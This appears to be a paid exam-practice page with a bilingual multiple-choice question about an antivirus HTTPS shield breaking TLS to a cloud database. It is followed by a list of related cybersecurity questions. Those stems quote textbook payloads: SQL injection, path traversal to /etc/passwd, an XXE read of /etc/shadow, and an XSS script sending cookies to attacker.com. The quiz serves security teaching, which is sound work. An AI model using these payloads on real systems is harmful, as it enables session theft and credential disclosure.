A developer's application fails to connect to a cloud database with the error “self-signed certificate in certificate chain”, but only on PCs where a consumer antivirus has its HTTPS-scanning “web shield” switched on. What is happening?
L'application d'un développeur n'arrive pas à se connecter à une base de données cloud et affiche l'erreur « self-signed certificate in certificate chain », mais uniquement sur les PC où le « bouclier web » d'analyse HTTPS d'un antivirus grand public est activé. Que se passe-t-il ?
Answers
AThe cloud database's own TLS certificate expired and must be renewed by its providerLe certificat TLS de la base de données cloud a expiré et doit être renouvelé par son fournisseur
BThe PC's clock is set to the wrong yearL'horloge du PC est réglée sur la mauvaise année
CThe antivirus re-signs TLS traffic with a root the app does not trustL'antivirus re-signe le trafic TLS avec une racine en laquelle l'application n'a pas confiance
DThe database password was typed incorrectlyLe mot de passe de la base de données a été mal saisi
The answer and explanation are in the full bank.
This question is one of 2,831 in the paid banks. Each comes with the correct answer and the reasoning behind it, not just a mark.
Unlock for 5,000 RWFMIFOTRA exam practicealigned to Practice set: Antivirus Software·3 marks·Hard
More Cybersecurity questions
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of...
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is...
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is...
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a...
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of...
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is...
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is...
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a...